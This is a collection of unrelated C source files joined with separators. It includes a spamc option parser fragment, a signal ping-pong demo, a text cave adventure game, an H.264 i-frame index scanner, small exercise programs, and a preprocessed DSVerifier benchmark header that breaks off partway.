if((memcmp(longopt+2, longopts[i].name, longoptlen)) == 0) {
*longindex = i;
if(longopts[i].has_arg == required_argument) {
if(((spamc_optind >= argc) || (!argv[spamc_optind]) || (argv[spamc_optind][0] == '-')) &&
(opt == NULL))
return(longoptiserr(argc, argv, spamc_optind-1, OPTERRARG));
if(opt != NULL) {
spamc_optarg = opt;
} else {
spamc_optarg = argv[spamc_optind++];
}
} else if(longopts[i].has_arg == optional_argument) {
if(((spamc_optind < argc) && (argv[spamc_optind]) && (argv[spamc_optind][0] != '-')) ||
(opt != NULL)) {
if(opt != NULL) {
spamc_optarg = opt;
} else {
spamc_optarg = argv[spamc_optind++];
}
}
}
if(longopts[i].flag == NULL) {
return(longopts[i].val);
} else {
*longopts[i].flag = longopts[i].val;
return(0);
}
}
}
}
return(0); /* should never reach here */
}
#ifdef TESTGETOPT
int
main (int argc, char **argv)
{
int c, l;
extern char *spamc_optarg;
extern int spamc_optind;
int aflg = 0;
int bflg = 0;
int errflg = 0;
char *ofile = NULL;
struct option longopts[] = {
{ "test", required_argument, 0, 't' },
};
while ((c = spamc_getopt(argc, argv, "abo:")) != EOF)
switch (c) {
case 'a':
if (bflg)
errflg++;
else
aflg++;
break;
case 'b':
if (aflg)
errflg++;
else
bflg++;
break;
case 'o':
ofile = spamc_optarg;
(void)printf("ofile = %s\n", ofile);
break;
case '?':
errflg++;
}
while((l = spamc_getopt_long(argc, argv, "t:", longopts, &l)) != EOF)
switch(l) {
case 't':
printf("--test = %s\n",spamc_optarg);
break;
}
if (errflg) {
(void)fprintf(stderr,
"usage: cmd [-a|-b] [-o <filename>] files...\n");
exit (2);
}
/*for ( ; spamc_optind < argc; spamc_optind++)
* (void)printf("%s\n", argv[spamc_optind]);
*/
return 0;
}
#endif /* TESTGETOPT */
|
the_stack_data/122014198.c
|
#include<stdio.h>
int main()
{
double K,P=200,N,i,R=0;
scanf("%lf %lf",&N,&K);
for(i=1;i<=21;i++)
{
R+=N;
if(P<=R)
break;
P*=(1+K/100.0);
}
if(i<=20)
{
printf("%.0lf",i);
}
else printf("Impossible");
return 0;
}
|
the_stack_data/154831408.c
|
void ctest1(int *i)
{
*i = 5;
}
|
the_stack_data/1236951.c
|
// %%cpp pipoqu.c
// %run gcc -g pipoqu.c -o pipoqu.exe
// %run ./pipoqu.exe
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/wait.h>
volatile sig_atomic_t last_signal = 0;
volatile sig_atomic_t last_signal_value = 0;
// через info принимаем дополнительный int
static void handler(int signum, siginfo_t* info, void* ucontext) {
last_signal = signum;
last_signal_value = info->si_value.sival_int; // сохраняем переданное число
}
int main() {
sigset_t mask;
sigfillset(&mask);
sigprocmask(SIG_BLOCK, &mask, NULL);
int signals[] = {SIGUSR1, SIGINT, 0};
for (int* signal = signals; *signal; ++signal) {
// обратите внимание, что хендлер теперь принимает больше аргументов
// и записывается в другое поле
// и еще есть флаг SA_SIGINFO, говорящий, что именно такой хендлер будет использоваться
sigaction(*signal, &(struct sigaction){
.sa_sigaction = handler, .sa_flags = SA_RESTART | SA_SIGINFO, .sa_mask=mask}, NULL);
}
sigemptyset(&mask);
int parent_pid = getpid();
int child_pid = fork();
assert(child_pid >= 0);
if (child_pid == 0) {
while (1) {
sigsuspend(&mask);
if (last_signal) {
if (last_signal == SIGUSR1) {
printf("Child process: Pong (get %d, send %d)\n", last_signal_value, last_signal_value * 2);
fflush(stdout);
// вместе с сигналом передаем число
sigqueue(parent_pid, SIGUSR1, (union sigval) {.sival_int = last_signal_value * 2 });
} else {
printf("Child process finish\n"); fflush(stdout);
return 0;
}
last_signal = 0;
}
}
} else {
int child_response = 10;
for (int i = 0; i < 3; ++i) {
printf("Parent process: Ping (got %d, send %d)\n", child_response, child_response + 1); fflush(stdout);
sigqueue(child_pid, SIGUSR1, (union sigval) {.sival_int = child_response + 1 });
while (!last_signal) {
sigsuspend(&mask);
}
last_signal = 0;
child_response = last_signal_value;
}
printf("Parent process: Request child finish\n"); fflush(stdout);
kill(child_pid, SIGINT);
int status;
waitpid(child_pid, &status, 0);
}
return 0;
}
|
the_stack_data/902942.c
|
/*
** EPITECH PROJECT, 2019
** my_print_revalpha
** File description:
** hello
*/
void my_putchar(char);
void my_print_revalpha(void)
{
int n = 25;
while (n != -1){
my_putchar(n + 97);
n += -1;
}
}
|
the_stack_data/125141086.c
|
#include <stdio.h>
int main(void){
int n, m;
printf("Please enter two integers\n");
scanf("%d%d", &n, &m);
printf("Decimal:%u, %u\n",n,m);
printf("Hexadecimal:%x, %x\n",n,m);
printf("Octal:%o, %o\n",n,m);
return 0;
}
|
the_stack_data/150767.c
|
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#define NITEMS 9
#define LAMP 0
#define CARRIED 0 /* used in itemLoc to indicate carried items */
const char *itemNames[NITEMS] = {
"lamp",
"diadem",
"harp",
"kris",
"chime",
"ruby",
"scepter",
"talisman",
"zither"
};
#define NDIRS 4
#define FORWARD_DIR 1
#define OPPOSITE_DIR(i) ((i) ^ 2)
#define OPPOSITE_WALL(w) ((w) ^ 2)
const char *dirNames[NDIRS] = {
"left",
"forward",
"right",
"back"
};
/* The cave locations are numbered [1...NCAVES]. If you change
NCAVES, you must also change the addTangle() calls in
drawMap(). The other "locations" are special end-of-game
indicators. */
#define NCAVES 15
#define START_LOC 1
#define EXIT_THRESHOLD_LOC NCAVES
#define WIN_LOC 0
#define QUIT_LOC (NCAVES + 1)
#define EATEN_LOC (NCAVES + 2)
/* The map. The value at map[loc * NDIRS + dir] is 0 if there is no
tunnel in that wall. Otherwise it is the wall number of the other
end of the tunnel, (destination * NDIRS + destinationWallDir).
drawMap counts on this being initially zeroed out. */
int map[(1 + NCAVES) * NDIRS];
int loc; /* player location */
int heading; /* player heading */
int itemLoc[NITEMS]; /* item locations */
/* Time when the lamp will run out; or 0 if it already has. */
time_t lampOil;
int needDesc; /* describe the surroundings before the next prompt */
char verb; /* First letter of the current command. The game only
recognizes the first letter of each input word. */
char noun; /* First letter of the second word of the current command,
or '\0' if the command is only one word long. */
/* random whole number from 1 to i */
int rollDie(int i)
{
return rand() % i + 1;
}
/* === The map === */
int lastTunnel;
/* Convert a relative direction (d is 0 for left, 1 for forward,
and so on; see dirNames) to a cardinal direction (an integer
in the half-open range [0..NDIRS], usable as an index into a
room's map[] entries). */
int realDir(int d)
{
return (d + heading + NDIRS - FORWARD_DIR) % NDIRS;
}
/* Make a tunnel connecting walls i and j, if neither is already
connected to someplace else. */
int addPath(int i, int j)
{
lastTunnel = j;
if (map[i] == 0 && map[j] == 0) {
map[i] = j;
map[j] = i;
return 1;
}
return 0;
}
/* Add some random passages to the maze. start and stop are wall
numbers; the new passages connect walls in the half-open range
[start, stop). */
void addTangle(int start, int stop, int tries)
{
/* I think the winning submission has a bug here. At least
the behavior seems mystifying to me. The intended
behavior, I think, was like this. */
int i, j;
for (i = start; i < stop - 1; i++)
for (j = 0; j < tries; j++)
if (addPath(i, i + rollDie(stop - 1 - i)))
break;
}
void drawMap()
{
int i;
/* First, make a path from START_LOC to EXIT_THRESHOLD_LOC
that visits every room. With this, at worst there's one
really long solution. */
for (i = START_LOC; i < EXIT_THRESHOLD_LOC; i++)
addPath(i * NDIRS, (i + 1) * NDIRS + rollDie(NDIRS - 1));
/* Add the exit. The exit is always in the exit threshold
cave, and always directly opposite the only passage into
that room, so the command to leave the maze is always
"forward". (Otherwise the message "sunlight streams in
ahead!" would be nonsensical.) */
map[OPPOSITE_WALL(lastTunnel)] = WIN_LOC * NDIRS + 1;
/* Add more passages to the maze. */
addTangle(4, 16, 2); /* first 3 rooms */
addTangle(16, 36, 3); /* next 5 rooms */
addTangle(36, 60, 6); /* last 6 rooms.
60 == EXIT_THRESHOLD_LOC * NDIRS; this stops just short of
adding any more passages into the exit-threshold cave. */
}
/* === Input === */
void readCommand()
{
char L[99];
char *p;
/* The obfuscated version has something more like
`if (*fgets(L, 98, stdin) == '\0')` which can crash. */
if (fgets(L, 99, stdin) == NULL || L[0] == '\0')
exit(0);
p = L;
while (*p != '\0' && *p <= ' ')
p++;
verb = *p;
while (*p != '\0' && *p != ' ')
p++;
while (*p != '\0' && *p <= ' ')
p++;
noun = *p;
}
/* === inventory and get/drop === */
/* Darkness affects several things in the game. It's dark if the lamp
has run out or is not present. Bug: It should never be dark in
EXIT_THRESHOLD_LOC. */
int isDark()
{
if (loc == EXIT_THRESHOLD_LOC)
return 0;
if (lampOil == 0)
return 1;
return itemLoc[LAMP] != loc && itemLoc[LAMP] != CARRIED;
}
int inv()
{
int haveAny = 0;
int i;
printf("you have\n");
for (i = 0; i < NITEMS; i++) {
if (itemLoc[i] == CARRIED) {
printf(" a %s\n", itemNames[i]);
haveAny = 1;
}
}
if (!haveAny)
printf(" nothing\n");
return haveAny;
}
/* Get or drop a specific item. "name" is the first character of the
item name. If there is no item with that name, you get a generic
"you do not see/have that" error message. */
int specificGetOrDrop(int isGet, char name)
{
int i;
if (!(isGet && isDark())) {
for (i = 0; i < NITEMS; i++) {
if (name == itemNames[i][0]
&& itemLoc[i] == (isGet ? loc : CARRIED)) {
printf("done\n");
return itemLoc[i] = (isGet ? CARRIED : loc);
}
}
}
printf(" you do not %s that\n", isGet ? "see" : "have");
return 0;
}
/* Get/drop without a specific item. */
void vagueGetOrDrop(int isGet)
{
printf("%s what? ", isGet ? "get" : "drop");
readCommand();
specificGetOrDrop(isGet, verb);
}
void getOrDrop(int isGet)
{
if (noun != '\0')
specificGetOrDrop(isGet, noun);
else if (isGet || inv())
vagueGetOrDrop(isGet);
}
/* === Movement === */
/* Try moving; i is 0 if the way is blocked, otherwise the number of
the destination wall. */
void tryMovingTo(int i)
{
if (i != 0) {
printf("you climb...\n");
loc = i / NDIRS; /* The original adds "& 63" here,
but it has no effect. */
heading = OPPOSITE_DIR(i % NDIRS);
needDesc = 1;
} else {
printf("eh?\n");
}
if (isDark() && rollDie(6) == 6) {
printf("chomp crunch grind slurp\n"
"oops. you fed the grue\n");
loc = EATEN_LOC;
}
}
/* === Cave description === */
/* What kind of light do we have at this time of day? */
const char *light()
{
time_t x = time(0);
int j = localtime(&x)->tm_hour;
if (j < 6 || j > 19)
return "moonlight";
else
return "sunlight";
}
/* Print a description of the player's current location. */
void lookAround()
{
int i;
int seen;
if (isDark()) {
printf("it is pitch black here\n");
return;
}
printf("you are in a maze of twisty little passages\ncaves lead: ");
for (i = 0; i < NDIRS; i++)
if (map[loc * NDIRS + realDir(i)])
printf(" %s", dirNames[i]);
putchar('\n');
seen = 0;
for (i = 0; i < NITEMS; i++) {
if (itemLoc[i] == loc) {
if (seen++ == 0)
printf("you see\n");
printf(" a %s\n", itemNames[i]);
}
}
if (loc == EXIT_THRESHOLD_LOC)
printf("%s streams in ahead!\n", light());
}
/* === Main === */
int isDirectionVerb(char verb, int *pDir)
{
int i;
for (i = 0; i < NDIRS; i++) {
if (verb == dirNames[i][0]) {
*pDir = i;
return 1;
}
}
return 0;
}
int main()
{
int score;
int i;
int d;
lampOil = time(0) + 5 * 60;
srand(lampOil);
drawMap();
/* Scatter the treasures, but put the player and the lamp in
the starting cave. */
for (i = 0; i < NITEMS; i++)
itemLoc[i] = rollDie(NCAVES);
loc = itemLoc[LAMP] = START_LOC;
heading = 1;
needDesc = 1;
/* "while the player is in the caves..." */
while (loc >= START_LOC && loc < START_LOC + NCAVES) {
/* check lamp lifetime */
if (lampOil != 0 && lampOil < time(0)) {
if (!isDark()) {
printf("your lamp dies!\n");
needDesc = 1;
}
lampOil = 0;
}
/* describe surroundings if necessary */
if (needDesc) {
lookAround();
needDesc = 0;
}
/* get command */
printf("> ");
readCommand();
/* interpret command */
if (verb == 'i')
inv();
else if (verb == 'q')
loc = QUIT_LOC;
else if (verb == 'g' || verb == 'd')
getOrDrop(verb == 'g');
else if (isDirectionVerb(verb, &d))
tryMovingTo(map[loc * NDIRS + realDir(d)]);
else
printf("eh?\n");
}
if (loc == WIN_LOC) {
printf("into bright %s!\n", light());
score = 50;
for (i = 0; i < NITEMS; i++)
if (itemLoc[i] == CARRIED)
score += 50;
if (lampOil != 0)
score += lampOil - time(0);
printf("score: %d\n", score);
}
return 0;
}
|
the_stack_data/76701462.c
|
/*
* Copyright (c) 2020 roleo.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, version 3.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
* Scans the buffer, finds the last h264 i-frame and saves the relative
* position to /tmp/iframe.idx
*/
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/mman.h>
#define BUF_OFFSET 300
#define BUF_SIZE 1786156
#define FRAME_HEADER_SIZE 22
#define USLEEP 100000
#define BUFFER_FILE "/dev/shm/fshare_frame_buf"
#define I_FILE "/tmp/iframe.idx"
#define STATE_NONE 0 /* Starting state*/
#define STATE_SPS_HIGH 1 /* Last nalu is SPS high res */
#define STATE_SPS_LOW 2 /* Last nalu is SPS low res */
#define STATE_PPS_HIGH 3 /* Last nalu is PPS high res */
#define STATE_PPS_LOW 4 /* Last nalu is PPS low res */
#define STATE_IDR_HIGH 5 /* Last nalu is IDR high res */
#define STATE_IDR_LOW 6 /* Last nalu is IDR low res */
typedef struct {
int sps_addr;
int sps_len;
int pps_addr;
int pps_len;
int idr_addr;
int idr_len;
} frame;
unsigned char IDR[] = {0x65, 0xB8};
unsigned char NAL_START[] = {0x00, 0x00, 0x00, 0x01};
unsigned char IDR_START[] = {0x00, 0x00, 0x00, 0x01, 0x65, 0x88};
unsigned char PFR_START[] = {0x00, 0x00, 0x00, 0x01, 0x41};
unsigned char SPS_START[] = {0x00, 0x00, 0x00, 0x01, 0x67};
unsigned char PPS_START[] = {0x00, 0x00, 0x00, 0x01, 0x68};
unsigned char SPS_640X360[] = {0x00, 0x00, 0x00, 0x01, 0x67, 0x4D, 0x00, 0x14,
0x96, 0x54, 0x05, 0x01, 0x7B, 0xCB, 0x37, 0x01};
unsigned char SPS_1920X1080[] = {0x00, 0x00, 0x00, 0x01, 0x67, 0x4D, 0x00, 0x20,
0x96, 0x54, 0x03, 0xC0, 0x11, 0x2F, 0x2C, 0xDC};
unsigned char *addr; /* Pointer to shared memory region (header) */
int debug = 0; /* Set to 1 to debug this .cpp */
int state = STATE_NONE; /* State of the state machine */
/* Locate a string in the circular buffer */
unsigned char * cb_memmem(unsigned char *src,
int src_len, unsigned char *what, int what_len, unsigned char *buf, int buf_size)
{
unsigned char *p;
if (src_len >= 0) {
p = (unsigned char*) memmem(src, src_len, what, what_len);
} else {
// From src to the end of the buffer
p = (unsigned char*) memmem(src, buf + buf_size - src, what, what_len);
if (p == NULL) {
// And from the start of the buffer size src_len
p = (unsigned char*) memmem(buf, src + src_len - buf, what, what_len);
}
}
return p;
}
unsigned char * cb_move(unsigned char *buf, int offset)
{
buf += offset;
if ((offset > 0) && (buf > addr + BUF_SIZE))
buf -= (BUF_SIZE - BUF_OFFSET);
if ((offset < 0) && (buf < addr + BUF_OFFSET))
buf += (BUF_SIZE - BUF_OFFSET);
return buf;
}
void writeFile(char *name, char *data, int len) {
FILE *fp;
fp = fopen(name, "w") ;
if (fp == NULL) {
if (debug) fprintf(stderr, "could not open file %s\n", name) ;
return;
}
if (fwrite(data, sizeof(char), len, fp) != len) {
if (debug) fprintf(stderr, "error writing to file %s\n", name) ;
}
fclose(fp) ;
}
unsigned int getFrameLen(unsigned char *buf, int offset)
{
unsigned char *tmpbuf = buf;
int ret = 0;
tmpbuf = cb_move(tmpbuf, -(offset + FRAME_HEADER_SIZE));
memcpy(&ret, tmpbuf, 4);
tmpbuf = cb_move(tmpbuf, offset + FRAME_HEADER_SIZE);
return ret;
}
int main(int argc, char **argv) {
unsigned char *addrh; /* Pointer to h264 data */
int sizeh; /* Size of h264 data */
unsigned char *buf_idx_1, *buf_idx_2;
unsigned char *buf_idx_w, *buf_idx_tmp;
unsigned char *buf_idx_start, *buf_idx_end;
FILE *fFid;
uint32_t utmp[4];
uint32_t utmp_old[4];
int i;
int sequence_size;
frame hl_frame[2], hl_frame_old[2];
// Opening an existing file
fFid = fopen(BUFFER_FILE, "r") ;
if ( fFid == NULL ) {
if (debug) fprintf(stderr, "could not open file %s\n", BUFFER_FILE) ;
return -1;
}
// Map file to memory
addr = (unsigned char*) mmap(NULL, BUF_SIZE, PROT_READ, MAP_SHARED, fileno(fFid), 0);
if (addr == MAP_FAILED) {
if (debug) fprintf(stderr, "error mapping file %s\n", BUFFER_FILE);
return -2;
}
if (debug) fprintf(stderr, "mapping file %s, size %d, to %08x\n", BUFFER_FILE, BUF_SIZE, (unsigned int) addr);
// Closing the file
if (debug) fprintf(stderr, "closing the file %s\n", BUFFER_FILE) ;
fclose(fFid) ;
// Define default vaules
addrh = addr + BUF_OFFSET;
sizeh = BUF_SIZE - BUF_OFFSET;
buf_idx_1 = addrh;
buf_idx_w = 0;
state = STATE_NONE;
// Infinite loop
while (1) {
memcpy(&i, addr + 16, sizeof(i));
buf_idx_w = addrh + i;
if (debug) fprintf(stderr, "buf_idx_w: %08x\n", (unsigned int) buf_idx_w);
buf_idx_tmp = cb_memmem(buf_idx_1, buf_idx_w - buf_idx_1, NAL_START, sizeof(NAL_START), addrh, sizeh);
if (buf_idx_tmp == NULL) {
usleep(USLEEP);
continue;
} else {
buf_idx_1 = buf_idx_tmp;
}
if (debug) fprintf(stderr, "found buf_idx_1: %08x\n", (unsigned int) buf_idx_1);
buf_idx_tmp = cb_memmem(buf_idx_1 + 1, buf_idx_w - (buf_idx_1 + 1), NAL_START, sizeof(NAL_START), addrh, sizeh);
if (buf_idx_tmp == NULL) {
usleep(USLEEP);
continue;
} else {
buf_idx_2 = buf_idx_tmp;
}
if (debug) fprintf(stderr, "found buf_idx_2: %08x\n", (unsigned int) buf_idx_2);
switch (state) {
case STATE_SPS_HIGH:
if (memcmp(buf_idx_1, PPS_START, sizeof(PPS_START)) == 0) {
state = STATE_PPS_HIGH;
if (debug) fprintf(stderr, "state = STATE_PPS_HIGH\n");
hl_frame[0].pps_addr = buf_idx_1 - addr;
hl_frame[0].pps_len = getFrameLen(buf_idx_1, 0);
}
break;
case STATE_PPS_HIGH:
if (memcmp(buf_idx_1, IDR_START, sizeof(IDR_START)) == 0) {
state = STATE_NONE;
if (debug) fprintf(stderr, "state = STATE_IDR_HIGH\n");
hl_frame[0].idr_addr = buf_idx_1 - addr;
hl_frame[0].idr_len = getFrameLen(buf_idx_1, 0);
if (memcmp(hl_frame, hl_frame_old, 2 * sizeof(frame)) != 0) {
writeFile(I_FILE, (unsigned char *) hl_frame, 2 * sizeof(frame));
memcpy(hl_frame_old, hl_frame, 2 * sizeof(frame));
}
}
break;
// case STATE_IDR_HIGH:
// state = STATE_NONE;
// if (debug) fprintf(stderr, "state = STATE_NONE\n");
// buf_idx_end = buf_idx_1;
// sequence_size = buf_idx_end - buf_idx_start;
// if (sequence_size < 0)
// sequence_size = (addrh + sizeh) - buf_idx_start + buf_idx_end - addrh;
// // Write IDR address and size to the file
// utmp[0] = (uint32_t) (buf_idx_start - addr);
// utmp[1] = (uint32_t) sequence_size;
// if (memcmp(utmp, utmp_old, sizeof(utmp)) != 0) {
// writeFile(I_FILE, (char *) utmp, sizeof(utmp));
// memcpy(utmp_old, utmp, sizeof(utmp));
// }
// break;
case STATE_SPS_LOW:
if (memcmp(buf_idx_1, PPS_START, sizeof(PPS_START)) == 0) {
state = STATE_PPS_LOW;
if (debug) fprintf(stderr, "state = STATE_PPS_LOW\n");
hl_frame[1].pps_addr = buf_idx_1 - addr;
hl_frame[1].pps_len = getFrameLen(buf_idx_1, 0);
}
break;
case STATE_PPS_LOW:
if (memcmp(buf_idx_1, IDR_START, sizeof(IDR_START)) == 0) {
state = STATE_NONE;
if (debug) fprintf(stderr, "state = STATE_IDR_LOW\n");
hl_frame[1].idr_addr = buf_idx_1 - addr;
hl_frame[1].idr_len = getFrameLen(buf_idx_1, 0);
if (memcmp(hl_frame, hl_frame_old, 2 * sizeof(frame)) != 0) {
writeFile(I_FILE, (unsigned char *) hl_frame, 2 * sizeof(frame));
memcpy(hl_frame_old, hl_frame, 2 * sizeof(frame));
}
}
break;
// case STATE_IDR_LOW:
// state = STATE_NONE;
// if (debug) fprintf(stderr, "state = STATE_NONE\n");
// buf_idx_end = buf_idx_1;
// sequence_size = buf_idx_end - buf_idx_start;
// if (sequence_size < 0)
// sequence_size = (addrh + sizeh) - buf_idx_start + buf_idx_end - addrh;
// // Write IDR address and size to the file
// utmp[2] = (uint32_t) (buf_idx_start - addr);
// utmp[3] = (uint32_t) sequence_size;
// if (memcmp(utmp, utmp_old, sizeof(utmp)) != 0) {
// writeFile(I_FILE, (char *) utmp, sizeof(utmp));
// memcpy(utmp_old, utmp, sizeof(utmp));
// }
// break;
case STATE_NONE:
if (memcmp(buf_idx_1, SPS_1920X1080, sizeof(SPS_1920X1080)) == 0) {
state = STATE_SPS_HIGH;
if (debug) fprintf(stderr, "state = STATE_SPS_HIGH\n");
hl_frame[0].sps_addr = buf_idx_1 - addr;
hl_frame[0].sps_len = getFrameLen(buf_idx_1, 6);
} else if (memcmp(buf_idx_1, SPS_640X360, sizeof(SPS_640X360)) == 0) {
state = STATE_SPS_LOW;
if (debug) fprintf(stderr, "state = STATE_SPS_LOW\n");
hl_frame[1].sps_addr = buf_idx_1 - addr;
hl_frame[1].sps_len = getFrameLen(buf_idx_1, 6);
}
break;
default:
break;
}
buf_idx_1 = buf_idx_2;
}
// Unreacheable path
// Unmap file from memory
if (munmap(addr, BUF_SIZE) == -1) {
if (debug) fprintf(stderr, "error munmapping file");
} else {
if (debug) fprintf(stderr, "unmapping file %s, size %d, from %08x\n", BUFFER_FILE, BUF_SIZE, addr);
}
return 0;
}
|
the_stack_data/54826406.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_memset.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jblack-b <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/11/22 16:09:18 by jblack-b #+# #+# */
/* Updated: 2018/12/11 18:52:30 by jblack-b ### ########.fr */
/* */
/* ************************************************************************** */
#include <string.h>
void *ft_memset(void *b, int c, size_t len)
{
size_t i;
i = 0;
while (i < len)
((unsigned char*)b)[i++] = c;
return (b);
}
|
the_stack_data/18887599.c
|
#ifdef WITH_POCO
#include "ftextf.h"
#include "reqlib.h"
Boolean qreq_string(char *strbuf,int bufsize,char *hailing,...)
{
Boolean ret;
va_list args;
char *formats;
va_start(args,hailing);
formats = ftext_format_type(&hailing,&args);
ret = varg_qreq_string(strbuf,bufsize,formats,hailing,args);
va_end(args);
return(ret);
}
#endif /* WITH_POCO */
|
the_stack_data/1059.c
|
#include <stdlib.h>
#include <stdio.h>
void printfArrat(int a[], int n);
int main(void) {
printfArrat((int []) {1, 3, 4, 5, 6}, 5);
return 0;
}
void printfArrat(int a[], int n)
{
while (n-- > 0)
{
if (n == 2) {
exit(1);
}
printf("%d \n", a[n]);
}
}
|
the_stack_data/30894.c
|
# 1 "benchmarks/ds-05-impl3.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "benchmarks/ds-05-impl3.c"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h" 1
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
int X_SIZE_VALUE = 0;
int overflow_mode = 1;
int rounding_mode = 0;
# 155 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
typedef struct {
double a[100];
int a_size;
double b[100];
int b_size;
double sample_time;
double a_uncertainty[100];
double b_uncertainty[100];
} digital_system;
typedef struct {
double A[4][4];
double B[4][4];
double C[4][4];
double D[4][4];
double states[4][4];
double outputs[4][4];
double inputs[4][4];
double K[4][4];
unsigned int nStates;
unsigned int nInputs;
unsigned int nOutputs;
} digital_system_state_space;
typedef struct {
int int_bits;
int frac_bits;
double max;
double min;
int default_realization;
double delta;
int scale;
double max_error;
} implementation;
typedef struct {
int push;
int in;
int sbiw;
int cli;
int out;
int std;
int ldd;
int subi;
int sbci;
int lsl;
int rol;
int add;
int adc;
int adiw;
int rjmp;
int mov;
int sbc;
int ld;
int rcall;
int cp;
int cpc;
int ldi;
int brge;
int pop;
int ret;
int st;
int brlt;
int cpi;
} instructions;
typedef struct {
long clock;
int device;
double cycle;
instructions assembly;
} hardware;
typedef struct{
float Ap, Ar, Ac;
float wp, wc, wr;
int type;
}filter_parameters;
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
# 1 "/usr/include/stdlib.h" 1 3 4
# 25 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 461 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 452 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 453 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 454 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 462 "/usr/include/features.h" 2 3 4
# 485 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4
# 11 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 486 "/usr/include/features.h" 2 3 4
# 34 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 2 3 4
# 26 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef long unsigned int size_t;
# 321 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef int wchar_t;
# 32 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 1 3 4
# 52 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 3 4
typedef enum
{
P_ALL,
P_PID,
P_PGID
} idtype_t;
# 40 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 1 3 4
# 41 "/usr/include/stdlib.h" 2 3 4
# 55 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 1 3 4
# 120 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 25 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 2 3 4
# 121 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 2 3 4
# 56 "/usr/include/stdlib.h" 2 3 4
typedef struct
{
int quot;
int rem;
} div_t;
typedef struct
{
long int quot;
long int rem;
} ldiv_t;
__extension__ typedef struct
{
long long int quot;
long long int rem;
} lldiv_t;
# 97 "/usr/include/stdlib.h" 3 4
extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) ;
extern double atof (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern int atoi (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern long int atol (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
__extension__ extern long long int atoll (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern double strtod (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
